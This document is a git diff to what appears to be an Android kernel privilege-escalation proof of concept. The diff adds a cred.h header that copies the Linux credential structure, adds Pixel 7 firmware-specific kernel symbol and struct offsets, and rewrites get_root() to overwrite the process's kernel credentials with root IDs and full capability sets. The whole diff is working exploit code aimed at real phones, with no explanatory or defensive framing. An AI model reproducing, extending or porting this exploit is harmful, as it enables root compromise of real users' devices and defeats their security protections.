diff --git a/cred.h b/cred.h new file mode 100644 index 0000000..062b1ad --- /dev/null +++ b/cred.h @@ -0,0 +1,39 @@ +#ifndef _H_CRED_H +#define _H_CRED_H + +#define _LINUX_CAPABILITY_U32S_3 2 +#define _KERNEL_CAPABILITY_U32S _LINUX_CAPABILITY_U32S_3 + +typedef struct kernel_cap_struct { + __u32 cap[_KERNEL_CAPABILITY_U32S]; +} kernel_cap_t; + +#define CAP_TO_MASK(x) (1U << ((x) & 31)) /* mask for indexed __u32 */ +#define SECUREBITS_DEFAULT 0x00000000 + +#define CAP_CHECKPOINT_RESTORE 40 +#define CAP_LAST_CAP CAP_CHECKPOINT_RESTORE +#define CAP_LAST_U32_VALID_MASK (CAP_TO_MASK(CAP_LAST_CAP + 1) -1) + +# define CAP_EMPTY_SET ((kernel_cap_t){{ 0, 0 }}) +# define CAP_FULL_SET ((kernel_cap_t){{ ~0, CAP_LAST_U32_VALID_MASK }}) + +struct cred { + //atomic_t usage; + unsigned int uid; /* real UID of the task */ + unsigned int gid; /* real GID of the task */ + unsigned int suid; /* saved UID of the task */ + unsigned int sgid; /* saved GID of the task */ + unsigned int euid; /* effective UID of the task */ + unsigned int egid; /* effective GID of the task */ + unsigned int fsuid; /* UID for VFS ops */ + unsigned int fsgid; /* GID for VFS ops */ + unsigned securebits; /* SUID-less security management */ + kernel_cap_t cap_inheritable; /* caps our children can inherit */ + kernel_cap_t cap_permitted; /* caps we're permitted */ + kernel_cap_t cap_effective; /* caps we can actually use */ + kernel_cap_t cap_bset; /* capability bounding set */ + kernel_cap_t cap_ambient; /* Ambient capability set */ +}; + +#endif \ No newline at end of file diff --git a/poc.cpp b/poc.cpp index 67aef1d..7881426 100644 --- a/poc.cpp +++ b/poc.cpp @@ -4,6 +4,7 @@ #endif #include "mali.h" +#include "cred.h" #define do_dbg(x, ...) #define do_print(fmt, ...) do { \ @@ -142,6 +143,20 @@ struct device_config dev_conf[] = { 0x00000000000004c8, /* offsetof task_struct->tasks */ __page_to_virt, __virt_to_page + }, + + [4] = { /* Pixel 7 */ + "google/panther/panther:14/UP1A.231005.007/10754064:user/release-keys", + 0xD10203FFD503233F, /* 1st 8 bytes of _stext */ + 0xA9027BFDF800865E, /* 2nd 8 bytes of _stext */ + 0x00000000031308d0, /* kthread_task sym_off */ + 0x0000000003185970, /* selinux_state sym_off */ + 0x000000000236D028, /* anon_pipe_buf_ops sym_off */ + 0x0000000000000780, /* offsetof task_struct->cred */ + 0x00000000000005c8, /* offsetof task_struct->pid */ + 0x00000000000004c8, /* offsetof task_struct->tasks */ + __page_to_virt, + __virt_to_page } }; @@ -653,9 +668,24 @@ void get_root() __u64 creds = kernel_read64(prw.my_task + conf->task_struct_cred); //do_print("OLD PRIVs: getuid() = %d getgid() = %d \n",getuid(),getgid()); - __u8 buf[0x20] = {}; - memset(buf,0,sizeof(buf)); - kernel_write((__u64)(creds + 4),buf,sizeof(buf)); + cred new_cred = {0}; + + new_cred.uid = 0; + new_cred.gid = 0; + new_cred.suid = 0; + new_cred.sgid = 0; + new_cred.euid = 0; + new_cred.egid = 0; + new_cred.fsuid = 0; + new_cred.fsgid = 0; + new_cred.securebits = SECUREBITS_DEFAULT; + new_cred.cap_inheritable = CAP_FULL_SET; + new_cred.cap_permitted = CAP_FULL_SET; + new_cred.cap_effective = CAP_FULL_SET; + new_cred.cap_bset = CAP_FULL_SET; + new_cred.cap_ambient = CAP_FULL_SET; + + kernel_write((__u64)(creds + 4),(__u8*)&new_cred,sizeof(new_cred)); do_print("[+] Successfully got root: getuid() = %d getgid() = %d \n",getuid(),getgid());